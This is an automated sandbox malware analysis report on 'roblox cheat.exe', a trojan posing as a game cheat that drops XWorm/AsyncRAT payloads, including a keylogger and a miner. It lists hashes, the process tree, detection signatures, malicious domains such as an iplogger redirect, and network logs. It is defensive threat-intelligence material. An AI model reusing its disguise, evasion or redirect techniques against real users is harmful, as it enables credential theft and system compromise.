Edit tour

Windows Analysis Report
roblox cheat.exe

Overview

General Information

Sample name:	roblox cheat.exe
Analysis ID:	1484380
MD5:	6b94734feac8edb9f925385163ad59c9
SHA1:	3ec9cc36f11ce7836e86089631ad790e7c8fe3cc
SHA256:	62d6f204244bbb976a155aa7750874a56db925c8531d76dce6bf5560440cb63c
Tags:	exe
Infos:

Detection

XWorm

Score:	90
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Contains functionality to log keystrokes (.Net Source)

Machine Learning detection for dropped file

Machine Learning detection for sample

Tries to detect virtualization through RDTSC time measurements

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Use Short Name Path in Command Line

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

roblox cheat.exe (PID: 4840 cmdline: "C:\Users\user\Desktop\roblox cheat.exe" MD5: 6B94734FEAC8EDB9F925385163AD59C9)

robloxPX1instaler.exe (PID: 3300 cmdline: "C:\Users\user~1\AppData\Local\Temp\robloxPX1instaler.exe" MD5: 27469372591B14FF1C57654FACB5E020)

cheatinstaler cheatinstalerF6R54T.exe (PID: 816 cmdline: "C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe" MD5: FC411F4D9F4DBA5104CB1549153A8684)

cmd.exe (PID: 6728 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\coin.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7376 cmdline: cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7488 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/24RXx6 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7740 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2184,i,14828535627695779647,3084874413555431357,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7df8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e95:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7faa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7aa6:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\Keyloger.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\Keyloger.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xf0e7:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf184:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf299:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xdb4c:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\ msedge.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\ msedge.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7df8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7e95:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x7faa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7aa6:$cnc4: POST / HTTP/1.1
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8cc8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8d65:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8e7a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8976:$cnc4: POST / HTTP/1.1
Process Memory Space: cheatinstaler cheatinstalerF6R54T.exe PID: 816	JoeSecurity_XWorm	Yara detected XWorm	Joe Security

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\robloxPX1instaler.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\robloxPX1instaler.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe, ParentCommandLine: "C:\Users\user\Desktop\roblox cheat.exe", ParentImage: C:\Users\user\Desktop\roblox cheat.exe, ParentProcessId: 4840, ParentProcessName: roblox cheat.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\robloxPX1instaler.exe" , ProcessId: 3300, ProcessName: robloxPX1instaler.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.7

Timestamp:	2024-07-30T00:47:04.044403+0200
SID:	2022930
Source Port:	443
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.7

Timestamp:	2024-07-30T00:46:25.027588+0200
SID:	2022930
Source Port:	443
Destination Port:	49729
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: roblox cheat.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://2no.co/24RXx6H	Avira URL Cloud: Label: malware
Source: https://2no.co/	Avira URL Cloud: Label: malware
Source: https://2no.co/redirect-2	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\user\AppData\Local\Temp\ msedge.exe	Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\user\AppData\Local\Temp\Keyloger.exe	Avira: detection malicious, Label: TR/Spy.Gen

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ msedge.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\Keyloger.exe	ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: roblox cheat.exe

ReversingLabs: Detection: 60%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BitCoin_miner.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ msedge.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Keyloger.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: roblox cheat.exe

Joe Sandbox ML: detected

Source: roblox cheat.exe, 00000000.00000000.1243509232.00000000007A2000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_13cdbabc-0

Source: roblox cheat.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.7:49743 version: TLS 1.2

Source: roblox cheat.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\buildAgent\work\ci_deploy_ninja_boot-x86_git\build.ninja\common\vs2019\x86\release\Installer\Windows\RobloxPlayerInstaller.pdb source: roblox cheat.exe, robloxPX1instaler.exe.0.dr
Source:	Binary string: \rat\BitJoiner\payload\obj\Debug\payload.pdb source: roblox cheat.exe
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: roblox cheat.exe, cheatinstaler cheatinstalerF6R54T.exe.0.dr
Source:	Binary string: zserialNumbersignatureissuervaliditysubjectissuerUIDsubjectUIDextensionsX509_CINFcert_infosig_algX509CERTIFICATEcompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -Oy- -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: roblox cheat.exe, robloxPX1instaler.exe.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -Oy- -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: roblox cheat.exe, robloxPX1instaler.exe.0.dr
Source:	Binary string: serialNumbersignatureissuervaliditysubjectissuerUIDsubjectUIDextensionsX509_CINFcert_infosig_algX509CERTIFICATEcompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -Oy- -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: robloxPX1instaler.exe, 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmp, robloxPX1instaler.exe, 00000002.00000000.1248829949.0000000000B58000.00000002.00000001.01000000.00000006.sdmp

Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16DB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF6C16DB190
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16C40BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF6C16C40BC
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Code function: 3_2_00007FF6C16EFCA0 FindFirstFileExA,	3_2_00007FF6C16EFCA0

Source: Joe Sandbox View	IP Address: 88.212.201.198 88.212.201.198
Source: Joe Sandbox View	IP Address: 18.239.18.53 18.239.18.53
Source: Joe Sandbox View	IP Address: 172.67.132.113 172.67.132.113
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27

Source: global traffic	HTTP traffic detected: GET /24RXx6 HTTP/1.1Host: 2no.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redirect/handshake.png HTTP/1.1Host: cdn.iplogger.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2no.co/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hit?t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396 HTTP/1.1Host: counter.yadro.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2no.co/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hit?q;t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396 HTTP/1.1Host: counter.yadro.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2no.co/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FTID=1cg1kz1ZJrer1cg1kz0018T6
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cdn.iplogger.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2no.co/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hit?q;t38.6;r;s1280102424;uhttps%3A//2no.co/redirect-2;hBranded%20Short%20Domain;0.903191178197396 HTTP/1.1Host: counter.yadro.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FTID=1cg1kz1ZJrer1cg1kz0018T6; VID=2DNPIG0nbdur1cg1k-0018Z0
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cdn.iplogger.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uFDCTh8d52ccRcZ&MD=g9KFUel5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uFDCTh8d52ccRcZ&MD=g9KFUel5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: ecsv2.roblox.com
Source: global traffic	DNS traffic detected: DNS query: clientsettingscdn.roblox.com
Source: global traffic	DNS traffic detected: DNS query: 2no.co
Source: global traffic	DNS traffic detected: DNS query: cdn.iplogger.org
Source: global traffic	DNS traffic detected: DNS query: counter.yadro.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: client-telemetry.roblox.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=u4EPwlIfu5u%2FXXj0kRaPdkPJwH6VqTzmIykH2X9%2Fyuj1FCpzRnd4kOm6Jqn1GDDAN13dvkMlZJ9E0adkpSW7TqU2KldHQHU11YPPbJtFEHxZlyRQ0Vh6q2i%2Fu8W3Miwh0Hqm HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 424Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 29 Jul 2024 22:46:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge

Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://bit.ly/1eMQ42U
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
